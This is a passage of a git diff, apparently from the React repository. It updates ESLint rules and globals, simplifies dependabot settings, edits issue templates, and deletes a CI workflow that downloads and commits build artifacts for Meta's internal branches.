diff --git a/.eslintignore b/.eslintignore
index c30542a3f7e2..fd9cc6bdca2f 100644
--- a/.eslintignore
+++ b/.eslintignore
@@ -28,3 +28,6 @@ packages/react-devtools-shared/src/hooks/__tests__/__source__/__untransformed__/
 packages/react-devtools-shell/dist
 packages/react-devtools-timeline/dist
 packages/react-devtools-timeline/static
+
+# Imported third-party Flow types
+flow-typed/
diff --git a/.eslintrc.js b/.eslintrc.js
index c92fc4739ede..813c99dbece6 100644
--- a/.eslintrc.js
+++ b/.eslintrc.js
@@ -17,10 +17,13 @@ module.exports = {
   // Stop ESLint from looking for a configuration file in parent folders
   root: true,
 
+  reportUnusedDisableDirectives: true,
+
   plugins: [
     'babel',
     'ft-flow',
     'jest',
+    'es',
     'no-for-of-loops',
     'no-function-declare-after-return',
     'react',
@@ -45,7 +48,7 @@ module.exports = {
     'ft-flow/no-unused-expressions': ERROR,
     // 'ft-flow/no-weak-types': WARNING,
     // 'ft-flow/require-valid-file-annotation': ERROR,
-
+    'es/no-optional-chaining': ERROR,
     'no-cond-assign': OFF,
     'no-constant-condition': OFF,
     'no-control-regex': OFF,
@@ -300,7 +303,6 @@ module.exports = {
       ERROR,
       {isProductionUserAppCode: true},
     ],
-    'react-internal/no-to-warn-dev-within-to-throw': ERROR,
     'react-internal/warning-args': ERROR,
     'react-internal/no-production-logging': ERROR,
   },
@@ -327,7 +329,9 @@ module.exports = {
         'packages/react-server-dom-esm/**/*.js',
         'packages/react-server-dom-webpack/**/*.js',
         'packages/react-server-dom-turbopack/**/*.js',
+        'packages/react-server-dom-parcel/**/*.js',
         'packages/react-server-dom-fb/**/*.js',
+        'packages/react-server-dom-unbundled/**/*.js',
         'packages/react-test-renderer/**/*.js',
         'packages/react-debug-tools/**/*.js',
         'packages/react-devtools-extensions/**/*.js',
@@ -433,6 +437,7 @@ module.exports = {
         'packages/react-dom/src/test-utils/*.js',
       ],
       rules: {
+        'es/no-optional-chaining': OFF,
         'react-internal/no-production-logging': OFF,
         'react-internal/warning-args': OFF,
         'react-internal/safe-string-coercion': [
@@ -442,10 +447,7 @@ module.exports = {
       },
     },
     {
-      files: [
-        'scripts/eslint-rules/*.js',
-        'packages/eslint-plugin-react-hooks/src/*.js',
-      ],
+      files: ['scripts/eslint-rules/*.js'],
       plugins: ['eslint-plugin'],
       rules: {
         'eslint-plugin/prefer-object-rule': ERROR,
@@ -467,16 +469,23 @@ module.exports = {
       files: ['packages/react-server-dom-webpack/**/*.js'],
       globals: {
         __webpack_chunk_load__: 'readonly',
+        __webpack_get_script_filename__: 'readonly',
         __webpack_require__: 'readonly',
       },
     },
     {
       files: ['packages/react-server-dom-turbopack/**/*.js'],
       globals: {
-        __turbopack_load__: 'readonly',
+        __turbopack_load_by_url__: 'readonly',
         __turbopack_require__: 'readonly',
       },
     },
+    {
+      files: ['packages/react-server-dom-parcel/**/*.js'],
+      globals: {
+        parcelRequire: 'readonly',
+      },
+    },
     {
       files: ['packages/scheduler/**/*.js'],
       globals: {
@@ -486,14 +495,20 @@ module.exports = {
     {
       files: [
         'packages/react-devtools-extensions/**/*.js',
+        'packages/react-devtools-shared/src/devtools/views/**/*.js',
         'packages/react-devtools-shared/src/hook.js',
         'packages/react-devtools-shared/src/backend/console.js',
+        'packages/react-devtools-shared/src/backend/fiber/renderer.js',
+        'packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js',
+        'packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js',
       ],
       globals: {
         __IS_CHROME__: 'readonly',
         __IS_FIREFOX__: 'readonly',
         __IS_EDGE__: 'readonly',
+        __IS_NATIVE__: 'readonly',
         __IS_INTERNAL_VERSION__: 'readonly',
+        chrome: 'readonly',
       },
     },
     {
@@ -502,6 +517,34 @@ module.exports = {
         __IS_INTERNAL_VERSION__: 'readonly',
       },
     },
+    {
+      files: ['packages/react-devtools-*/**/*.js'],
+      excludedFiles: '**/__tests__/**/*.js',
+      plugins: ['eslint-plugin-react-hooks-published'],
+      rules: {
+        'react-hooks-published/rules-of-hooks': ERROR,
+      },
+    },
+    {
+      files: ['packages/eslint-plugin-react-hooks/src/**/*'],
+      extends: ['plugin:@typescript-eslint/recommended'],
+      parser: '@typescript-eslint/parser',
+      plugins: ['@typescript-eslint', 'eslint-plugin'],
+      rules: {
+        '@typescript-eslint/no-explicit-any': OFF,
+        '@typescript-eslint/no-non-null-assertion': OFF,
+        '@typescript-eslint/array-type': [ERROR, {default: 'generic'}],
+
+        'es/no-optional-chaining': OFF,
+
+        'eslint-plugin/prefer-object-rule': ERROR,
+        'eslint-plugin/require-meta-fixable': [
+          ERROR,
+          {catchNoFixerButFixableProperty: true},
+        ],
+        'eslint-plugin/require-meta-has-suggestions': ERROR,
+      },
+    },
   ],
 
   env: {
@@ -512,13 +555,10 @@ module.exports = {
   },
 
   globals: {
-    $Call: 'readonly',
-    $ElementType: 'readonly',
     $Flow$ModuleRef: 'readonly',
     $FlowFixMe: 'readonly',
     $Keys: 'readonly',
     $NonMaybeType: 'readonly',
-    $PropertyType: 'readonly',
     $ReadOnly: 'readonly',
     $ReadOnlyArray: 'readonly',
     $ArrayBufferView: 'readonly',
@@ -526,12 +566,15 @@ module.exports = {
     CallSite: 'readonly',
     ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
     ReturnType: 'readonly',
+    AggregateError: 'readonly',
     AnimationFrameID: 'readonly',
+    WeakRef: 'readonly',
     // For Flow type annotation. Only `BigInt` is valid at runtime.
     bigint: 'readonly',
     BigInt: 'readonly',
     BigInt64Array: 'readonly',
     BigUint64Array: 'readonly',
+    CacheType: 'readonly',
     Class: 'readonly',
     ClientRect: 'readonly',
     CopyInspectedElementPath: 'readonly',
@@ -543,15 +586,20 @@ module.exports = {
     $AsyncIterator: 'readonly',
     Iterator: 'readonly',
     AsyncIterator: 'readonly',
+    IntervalID: 'readonly',
     IteratorResult: 'readonly',
     JSONValue: 'readonly',
     JSResourceReference: 'readonly',
+    mixin$Animatable: 'readonly',
     MouseEventHandler: 'readonly',
+    NavigateEvent: 'readonly',
+    Partial: 'readonly',
+    PerformanceMeasureOptions: 'readonly',
     PropagationPhases: 'readonly',
     PropertyDescriptor: 'readonly',
-    React$AbstractComponent: 'readonly',
+    PropertyDescriptorMap: 'readonly',
+    Proxy$traps: 'readonly',
     React$Component: 'readonly',
-    React$ComponentType: 'readonly',
     React$Config: 'readonly',
     React$Context: 'readonly',
     React$Element: 'readonly',
@@ -563,6 +611,7 @@ module.exports = {
     React$Node: 'readonly',
     React$Portal: 'readonly',
     React$Ref: 'readonly',
+    React$RefSetter: 'readonly',
     ReadableStreamController: 'readonly',
     ReadableStreamReader: 'readonly',
     RequestInfo: 'readonly',
@@ -571,12 +620,24 @@ module.exports = {
     symbol: 'readonly',
     SyntheticEvent: 'readonly',
     SyntheticMouseEvent: 'readonly',
+    SyntheticPointerEvent: 'readonly',
     Thenable: 'readonly',
     TimeoutID: 'readonly',
     WheelEventHandler: 'readonly',
     FinalizationRegistry: 'readonly',
+    Exclude: 'readonly',
     Omit: 'readonly',
+    Pick: 'readonly',
+    Keyframe: 'readonly',
+    PropertyIndexedKeyframes: 'readonly',
+    KeyframeAnimationOptions: 'readonly',
+    GetAnimationsOptions: 'readonly',
+    ScrollTimeline: 'readonly',
+    EventListenerOptionsOrUseCapture: 'readonly',
+    FocusOptions: 'readonly',
+    OptionalEffectTiming: 'readonly',
 
+    __REACT_ROOT_PATH_TEST__: 'readonly',
     spyOnDev: 'readonly',
     spyOnDevAndProd: 'readonly',
     spyOnProd: 'readonly',
@@ -593,5 +654,6 @@ module.exports = {
     AsyncLocalStorage: 'readonly',
     async_hooks: 'readonly',
     globalThis: 'readonly',
+    navigation: 'readonly',
   },
 };
diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
index 63d0d11fb61d..2c19b2484595 100644
--- a/.git-blame-ignore-revs
+++ b/.git-blame-ignore-revs
@@ -1 +1,2 @@
 c998bb1ed4b3285398c9c7797135d3f060243c6a
+fd2b3e13d330a4559f5aa21462e1cb2cbbcf144b
diff --git a/.github/ISSUE_TEMPLATE/19.md b/.github/ISSUE_TEMPLATE/19.md
deleted file mode 100644
index 6fa2dd8d8d8f..000000000000
--- a/.github/ISSUE_TEMPLATE/19.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-name: "⚛React 19 beta issue"
-about: Report a issue with React 19 beta.
-title: '[React 19]'
-labels: 'React 19'
-
----
-
-
-## Summary
-
-<!--
-  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
-  repository on GitHub, or provide a minimal code example that reproduces the
-  problem. You may provide a screenshot of the application if you think it is
-  relevant to your bug report. Here are some tips for providing a minimal
-  example: https://stackoverflow.com/help/mcve.
--->
diff --git a/.github/ISSUE_TEMPLATE/compiler_bug_report.yml b/.github/ISSUE_TEMPLATE/compiler_bug_report.yml
index fc7952fd5a80..a2c0e3d7aa38 100644
--- a/.github/ISSUE_TEMPLATE/compiler_bug_report.yml
+++ b/.github/ISSUE_TEMPLATE/compiler_bug_report.yml
@@ -11,7 +11,7 @@ body:
     options:
       - label: React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
       - label: babel-plugin-react-compiler (build issue installing or using the Babel plugin)
-      - label: eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
+      - label: eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
       - label: react-compiler-healthcheck (build issue installing or using the healthcheck script)
 - type: input
   attributes:
@@ -55,3 +55,10 @@ body:
       Please provide your React version in the app where this issue occurred.
   validations:
     required: true
+- type: input
+  attributes:
+    label: What version of React Compiler are you using?
+    description: |
+      Please provide the exact React Compiler version in the app where this issue occurred.
+  validations:
+    required: true
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index b436c26c50c2..11800ad75759 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -1,107 +1,10 @@
 version: 2
 updates:
   - package-ecosystem: "npm"
-    directory: "/fixtures/art"
+    directories:
+      - "/fixtures/*"
     schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/attribute-behavior"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/concurrent"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/devtools"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/dom"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/eslint"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/expiration"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/fiber-debugger"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/fiber-triangle"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/fizz"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/fizz-ssr-browser"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/flight"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/flight-browser"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/flight-esm"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/legacy-jsx-runtimes"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/nesting"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/packaging"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/scheduler"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/ssr"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/ssr-2"
-    schedule:
-      interval: "weekly"
-    open-pull-requests-limit: 0
-  - package-ecosystem: "npm"
-    directory: "/fixtures/stacks"
-    schedule:
-      interval: "weekly"
+      interval: "monthly"
     open-pull-requests-limit: 0
+    ignore:
+      - dependency-name: "*"
diff --git a/.github/workflows/commit_artifacts.yml b/.github/workflows/commit_artifacts.yml
deleted file mode 100644
index 09d14b30baf4..000000000000
--- a/.github/workflows/commit_artifacts.yml
+++ /dev/null
@@ -1,462 +0,0 @@
-name: Commit Artifacts for Meta WWW and fbsource
-
-on:
-  push:
-    branches: [main, meta-www, meta-fbsource]
-
-jobs:
-  download_artifacts:
-    runs-on: ubuntu-latest
-    outputs:
-      www_branch_count: ${{ steps.check_branches.outputs.www_branch_count }}
-      fbsource_branch_count: ${{ steps.check_branches.outputs.fbsource_branch_count }}
-      last_version_classic: ${{ steps.get_last_version_www.outputs.last_version_classic }}
-      last_version_modern: ${{ steps.get_last_version_www.outputs.last_version_modern }}
-      last_version_rn: ${{ steps.get_last_version_rn.outputs.last_version_rn }}
-      current_version_classic: ${{ steps.get_current_version.outputs.current_version_classic }}
-      current_version_modern: ${{ steps.get_current_version.outputs.current_version_modern }}
-      current_version_rn: ${{ steps.get_current_version.outputs.current_version_rn }}
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          ref: builds/facebook-www
-      - name: "Get last version string for www"
-        id: get_last_version_www
-        run: |
-          # Empty checks only needed for backwards compatibility,can remove later.
-          VERSION_CLASSIC=$( [ -f ./compiled/facebook-www/VERSION_CLASSIC ] && cat ./compiled/facebook-www/VERSION_CLASSIC || echo '' )
-          VERSION_MODERN=$( [ -f ./compiled/facebook-www/VERSION_MODERN ] && cat ./compiled/facebook-www/VERSION_MODERN || echo '' )
-          echo "Last classic version is $VERSION_CLASSIC"
-          echo "Last modern version is $VERSION_MODERN"
-          echo "last_version_classic=$VERSION_CLASSIC" >> "$GITHUB_OUTPUT"
-          echo "last_version_modern=$VERSION_MODERN" >> "$GITHUB_OUTPUT"
-      - uses: actions/checkout@v4
-        with:
-          ref: builds/facebook-fbsource
-      - name: "Get last version string for rn"
-        id: get_last_version_rn
-        run: |
-          # Empty checks only needed for backwards compatibility,can remove later.
-          VERSION_NATIVE_FB=$( [ -f ./compiled-rn/VERSION_NATIVE_FB ] && cat ./compiled-rn/VERSION_NATIVE_FB || echo '' )
-          echo "Last rn version is $VERSION_NATIVE_FB"
-          echo "last_version_rn=$VERSION_NATIVE_FB" >> "$GITHUB_OUTPUT"
-      - uses: actions/checkout@v4
-      - name: "Check branches"
-        id: check_branches
-        run: |
-          echo "www_branch_count=$(git ls-remote --heads origin "refs/heads/meta-www" | wc -l)" >> "$GITHUB_OUTPUT"
-          echo "fbsource_branch_count=$(git ls-remote --heads origin "refs/heads/meta-fbsource" | wc -l)" >> "$GITHUB_OUTPUT"
-      - name: Download and unzip artifacts
-        uses: actions/github-script@v6
-        env:
-          CIRCLECI_TOKEN: ${{secrets.CIRCLECI_TOKEN_DIFFTRAIN}}
-        with:
-          script: |
-            // TODO: Move this to a script file.
-            const cp = require('child_process');
-
-            function sleep(ms) {
-              return new Promise(resolve => setTimeout(resolve, ms));
-            }
-
-            function execHelper(command, options, streamStdout = false) {
-              return new Promise((resolve, reject) => {
-                const proc = cp.exec(
-                  command,
-                  options,
-                  (error, stdout) => (error ? reject(error) : resolve(stdout.trim())),
-                );
-                if (streamStdout) {
-                  proc.stdout.pipe(process.stdout);
-                }
-              });
-            }
-
-            let artifactsUrl = null;
-            // This is a temporary, dirty hack to avoid needing a GitHub auth token in the circleci
-            // workflow to notify this GitHub action. Sorry!
-            let iter = 0;
-            spinloop: while (iter < 15) {
-              const res = await github.rest.repos.listCommitStatusesForRef({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                ref: context.sha
-              });
-              for (const status of res.data) {
-                if (/process_artifacts_combined/.test(status.context)) {
-                  switch (status.state) {
-                    case 'pending': {
-                      console.log(`${status.context} is still pending`);
-                      break;
-                    }
-                    case 'failure':
-                    case 'error': {
-                      throw new Error(`${status.context} has failed or errored`);
-                    }
-                    case 'success': {
-                      // The status does not include a build ID, but we can extract it
-                      // from the URL. I couldn't find a better way to do this.
-                      const ciBuildId = /\/facebook\/react\/([0-9]+)/.exec(
-                        status.target_url,
-                      )[1];
-                      if (Number.parseInt(ciBuildId, 10) + '' === ciBuildId) {
-                        artifactsUrl =
-                          `https://circleci.com/api/v1.1/project/github/facebook/react/${ciBuildId}/artifacts`;
-                        console.log(`Found artifactsUrl: ${artifactsUrl}`);
-                        break spinloop;
-                      } else {
-                        throw new Error(`${ciBuildId} isn't a number`);
-                      }
-                      break;
-                    }
-                    default: {
-                      throw new Error(`Unhandled status state: ${status.state}`);
-                      break;
-                    }
-                  }
-                }
-              }
-              iter++;
-              console.log("Sleeping for 60s...");
-              await sleep(60_000);
-            }
-            if (artifactsUrl != null) {
-              const {CIRCLECI_TOKEN} = process.env;
-              const res = await fetch(artifactsUrl, {
-                headers: {
-                  'Circle-Token': CIRCLECI_TOKEN
-                }
-              });
-              const data = await res.json();
-              if (!Array.isArray(data) && data.message != null) {
-                throw `CircleCI returned: ${data.message}`;
-              }
-              for (const artifact of data) {
-                if (artifact.path === 'build.tgz') {
-                  console.log(`Downloading and unzipping ${artifact.url}`);
-                  await execHelper(
-                    `curl -L ${artifact.url} -H "Circle-Token: ${CIRCLECI_TOKEN}" | tar -xvz`
-                  );
-                }
-              }
-            } else {
-              process.exitCode = 1;
-            }
-      - name: Strip @license from eslint plugin and react-refresh
-        run: |
-          sed -i -e 's/ @license React*//' \
-            build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
-            build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
-      - name: Move relevant files for React in www into compiled
-        run: |
-          # Move the facebook-www folder into compiled
-          mkdir ./compiled
-          mv build/facebook-www ./compiled
-
-          # Move ReactAllWarnings.js to facebook-www
-          mkdir ./compiled/facebook-www/__test_utils__
-          mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
-
-          # Move eslint-plugin-react-hooks into facebook-www
-          mv build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
-            ./compiled/facebook-www/eslint-plugin-react-hooks.js
-
-          # Move unstable_server-external-runtime.js into facebook-www
-          mv build/oss-experimental/react-dom/unstable_server-external-runtime.js \
-            ./compiled/facebook-www/unstable_server-external-runtime.js
-
-          # Move react-refresh-babel.development.js into babel-plugin-react-refresh
-          mkdir ./compiled/babel-plugin-react-refresh
-          mv build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js \
-            ./compiled/babel-plugin-react-refresh/index.js
-
-          ls -R ./compiled
-      - name: Move relevant files for React in fbsource into compiled-rn
-        run: |
-          BASE_FOLDER='compiled-rn/facebook-fbsource/xplat/js'
-          mkdir -p ${BASE_FOLDER}/react-native-github/Libraries/Renderer/
-          mkdir -p ${BASE_FOLDER}/RKJSModules/vendor/react/{scheduler,react,react-is,react-test-renderer}/
-
-          # Move React Native renderer
-          mv build/react-native/implementations/ $BASE_FOLDER/react-native-github/Libraries/Renderer/
-          mv build/react-native/shims/ $BASE_FOLDER/react-native-github/Libraries/Renderer/
-          mv build/facebook-react-native/scheduler/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/scheduler/
-          mv build/facebook-react-native/react/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react/
-          mv build/facebook-react-native/react-is/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-is/
-          mv build/facebook-react-native/react-test-renderer/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-test-renderer/
-
-          # Delete OSS renderer. OSS renderer is synced through internal script.
-          RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
-          rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
-          rm $RENDERER_FOLDER/ReactNativeRenderer-{dev,prod,profiling}.js
-
-          # Move React Native version file
-          mv build/facebook-react-native/VERSION_NATIVE_FB ./compiled-rn/VERSION_NATIVE_FB
-
-          ls -R ./compiled-rn
-      - name: Add REVISION files
-        run: |
-          echo ${{ github.sha }} >> ./compiled/facebook-www/REVISION
-          cp ./compiled/facebook-www/REVISION ./compiled/facebook-www/REVISION_TRANSFORMS
-          echo ${{ github.sha }} >> ./compiled-rn/facebook-fbsource/xplat/js/react-native-github/Libraries/Renderer/REVISION
-      - name: "Get current version string"
-        id: get_current_version
-        run: |
-          VERSION_CLASSIC=$(cat ./compiled/facebook-www/VERSION_CLASSIC)
-          VERSION_MODERN=$(cat ./compiled/facebook-www/VERSION_MODERN)
-          VERSION_NATIVE_FB=$(cat ./compiled-rn/VERSION_NATIVE_FB)
-          echo "Current classic version is $VERSION_CLASSIC"
-          echo "Current modern version is $VERSION_MODERN"
-          echo "Current rn version is $VERSION_NATIVE_FB"
-          echo "current_version_classic=$VERSION_CLASSIC" >> "$GITHUB_OUTPUT"
-          echo "current_version_modern=$VERSION_MODERN" >> "$GITHUB_OUTPUT"
-          echo "current_version_rn=$VERSION_NATIVE_FB" >> "$GITHUB_OUTPUT"
-      - uses: actions/upload-artifact@v3
-        with:
-          name: compiled
-          path: compiled/
-      - uses: actions/upload-artifact@v3
-        with:
-          name: compiled-rn
-          path: compiled-rn/
-
-  commit_www_artifacts:
-    needs: download_artifacts
-    if: ${{ (github.ref == 'refs/heads/main' && needs.download_artifacts.outputs.www_branch_count == '0') || github.ref == 'refs/heads/meta-www' }}
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          ref: builds/facebook-www
-      - name: Ensure clean directory
-        run: rm -rf compiled
-      - uses: actions/download-artifact@v3
-        with:
-          name: compiled
-          path: compiled/
-      - name: Revert version changes
-        if: needs.download_artifacts.outputs.last_version_classic != '' && needs.download_artifacts.outputs.last_version_modern != ''
-        env:
-          CURRENT_VERSION_CLASSIC: ${{ needs.download_artifacts.outputs.current_version_classic }}
-          CURRENT_VERSION_MODERN: ${{ needs.download_artifacts.outputs.current_version_modern }}
-          LAST_VERSION_CLASSIC: ${{ needs.download_artifacts.outputs.last_version_classic }}
-          LAST_VERSION_MODERN: ${{ needs.download_artifacts.outputs.last_version_modern }}
-        run: |
-          echo "Reverting $CURRENT_VERSION_CLASSIC to $LAST_VERSION_CLASSIC"
-          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled || echo "No files found with $CURRENT_VERSION_CLASSIC"
-          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled | xargs -r sed -i -e "s/$CURRENT_VERSION_CLASSIC/$LAST_VERSION_CLASSIC/g"
-          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled || echo "Classic version reverted"
-          echo "===================="
-          echo "Reverting $CURRENT_VERSION_MODERN to $LAST_VERSION_MODERN"
-          grep -rl "$CURRENT_VERSION_MODERN" ./compiled || echo "No files found with $CURRENT_VERSION_MODERN"
-          grep -rl "$CURRENT_VERSION_MODERN" ./compiled | xargs -r sed -i -e "s/$CURRENT_VERSION_MODERN/$LAST_VERSION_MODERN/g"
-          grep -rl "$CURRENT_VERSION_MODERN" ./compiled || echo "Modern version reverted"
-      - name: Check for changes
-        id: check_should_commit
-        run: |
-          echo "Full git status"
-          git add .
-          git status
-          echo "===================="
-          if git status --porcelain | grep -qv '/REVISION'; then
-            echo "Changes detected"
-            echo "===== Changes ====="
-            git --no-pager diff -U0 | grep '^[+-]' | head -n 50
-            echo "==================="
-            echo "should_commit=true" >> "$GITHUB_OUTPUT"
-          else
-            echo "No Changes detected"
-            echo "should_commit=false" >> "$GITHUB_OUTPUT"
-          fi
-      - name: Re-apply version changes
-        if: steps.check_should_commit.outputs.should_commit == 'true' && needs.download_artifacts.outputs.last_version_classic != '' && needs.download_artifacts.outputs.last_version_modern != ''
-        env:
-          CURRENT_VERSION_CLASSIC: ${{ needs.download_artifacts.outputs.current_version_classic }}
-          CURRENT_VERSION_MODERN: ${{ needs.download_artifacts.outputs.current_version_modern }}
-          LAST_VERSION_CLASSIC: ${{ needs.download_artifacts.outputs.last_version_classic }}
-          LAST_VERSION_MODERN: ${{ needs.download_artifacts.outputs.last_version_modern }}
-        run: |
-          echo "Re-applying $LAST_VERSION_CLASSIC to $CURRENT_VERSION_CLASSIC"
-          grep -rl "$LAST_VERSION_CLASSIC" ./compiled || echo "No files found with $LAST_VERSION_CLASSIC"
-          grep -rl "$LAST_VERSION_CLASSIC" ./compiled | xargs -r sed -i -e "s/$LAST_VERSION_CLASSIC/$CURRENT_VERSION_CLASSIC/g"
-          grep -rl "$LAST_VERSION_CLASSIC" ./compiled || echo "Classic version re-applied"
-          echo "===================="
-          echo "Re-applying $LAST_VERSION_MODERN to $CURRENT_VERSION_MODERN"
-          grep -rl "$LAST_VERSION_MODERN" ./compiled || echo "No files found with $LAST_VERSION_MODERN"
-          grep -rl "$LAST_VERSION_MODERN" ./compiled | xargs -r sed -i -e "s/$LAST_VERSION_MODERN/$CURRENT_VERSION_MODERN/g"
-          grep -rl "$LAST_VERSION_MODERN" ./compiled || echo "Classic version re-applied"
-      - name: Will commit these changes
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        run: |
-          echo ":"
-          git status -u
-      - name: Commit changes to branch
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        uses: stefanzweifel/git-auto-commit-action@v4
-        with:
-          commit_message: |
-            ${{ github.event.head_commit.message }}
-
-            DiffTrain build for [${{ github.sha }}](https://github.com/facebook/react/commit/${{ github.sha }})
-          branch: builds/facebook-www
-          commit_user_name: ${{ github.actor }}
-          commit_user_email: ${{ github.actor }}@users.noreply.github.com
-          create_branch: true
-
-  commit_fbsource_artifacts:
-    needs: download_artifacts
-    if: ${{ (github.ref == 'refs/heads/main' && needs.download_artifacts.outputs.fbsource_branch_count == '0') || github.ref == 'refs/heads/meta-fbsource' }}
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          ref: builds/facebook-fbsource
-      - name: Ensure clean directory
-        run: rm -rf compiled-rn
-      - uses: actions/download-artifact@v3
-        with:
-          name: compiled-rn
-          path: compiled-rn/
-      - name: Revert version changes
-        if: needs.download_artifacts.outputs.last_version_rn != ''
-        env:
-          CURRENT_VERSION: ${{ needs.download_artifacts.outputs.current_version_rn }}
-          LAST_VERSION: ${{ needs.download_artifacts.outputs.last_version_rn }}
-        run: |
-          echo "Reverting $CURRENT_VERSION to $LAST_VERSION"
-          grep -rl "$CURRENT_VERSION" ./compiled-rn || echo "No files found with $CURRENT_VERSION"
-          grep -rl "$CURRENT_VERSION" ./compiled-rn | xargs -r sed -i -e "s/$CURRENT_VERSION/$LAST_VERSION/g"
-          grep -rl "$CURRENT_VERSION" ./compiled-rn || echo "Version reverted"
-      - name: Check for changes
-        id: check_should_commit
-        run: |
-          echo "Full git status"
-          git add .
-          git --no-pager diff -U0 --cached | grep '^[+-]' | head -n 100
-          echo "===================="
-          # Ignore REVISION or lines removing @generated headers.
-          if git diff --cached ':(exclude)*REVISION' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" > /dev/null; then
-            echo "Changes detected"
-            echo "===== Changes ====="
-            git --no-pager diff --cached ':(exclude)*REVISION' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" | head -n 50
-            echo "==================="
-            echo "should_commit=true" >> "$GITHUB_OUTPUT"
-          else
-            echo "No Changes detected"
-            echo "should_commit=false" >> "$GITHUB_OUTPUT"
-          fi
-      - name: Re-apply version changes
-        if: steps.check_should_commit.outputs.should_commit == 'true' && needs.download_artifacts.outputs.last_version_rn != ''
-        env:
-          CURRENT_VERSION: ${{ needs.download_artifacts.outputs.current_version_rn }}
-          LAST_VERSION: ${{ needs.download_artifacts.outputs.last_version_rn }}
-        run: |
-          echo "Re-applying $LAST_VERSION to $CURRENT_VERSION"
-          grep -rl "$LAST_VERSION" ./compiled-rn || echo "No files found with $LAST_VERSION"
-          grep -rl "$LAST_VERSION" ./compiled-rn | xargs -r sed -i -e "s/$LAST_VERSION/$CURRENT_VERSION/g"
-          grep -rl "$LAST_VERSION" ./compiled-rn || echo "Version re-applied"
-      - name: Add files for signing
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        run: |
-          echo ":"
-          git add .
-      - name: Signing files
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        uses: actions/github-script@v6
-        with:
-          script: |
-            // TODO: Move this to a script file.
-            // We currently can't call scripts from the repo because
-            // at this point in the workflow, we're on the compiled
-            // artifact branch (so the scripts don't exist).
-            // We can fix this with a composite action in the main repo.
-            // This script is duplicated above.
-            const fs = require('fs');
-            const crypto = require('crypto');
-            const {execSync} = require('child_process');
-
-            // TODO: when we move this to a script, we can use this from npm.
-            // Copy of signedsource since we can't install deps on this branch.
-            const GENERATED = '@' + 'generated';
-            const NEWTOKEN = '<<SignedSource::*O*zOeWoEQle#+L!plEphiEmie@IsG>>';
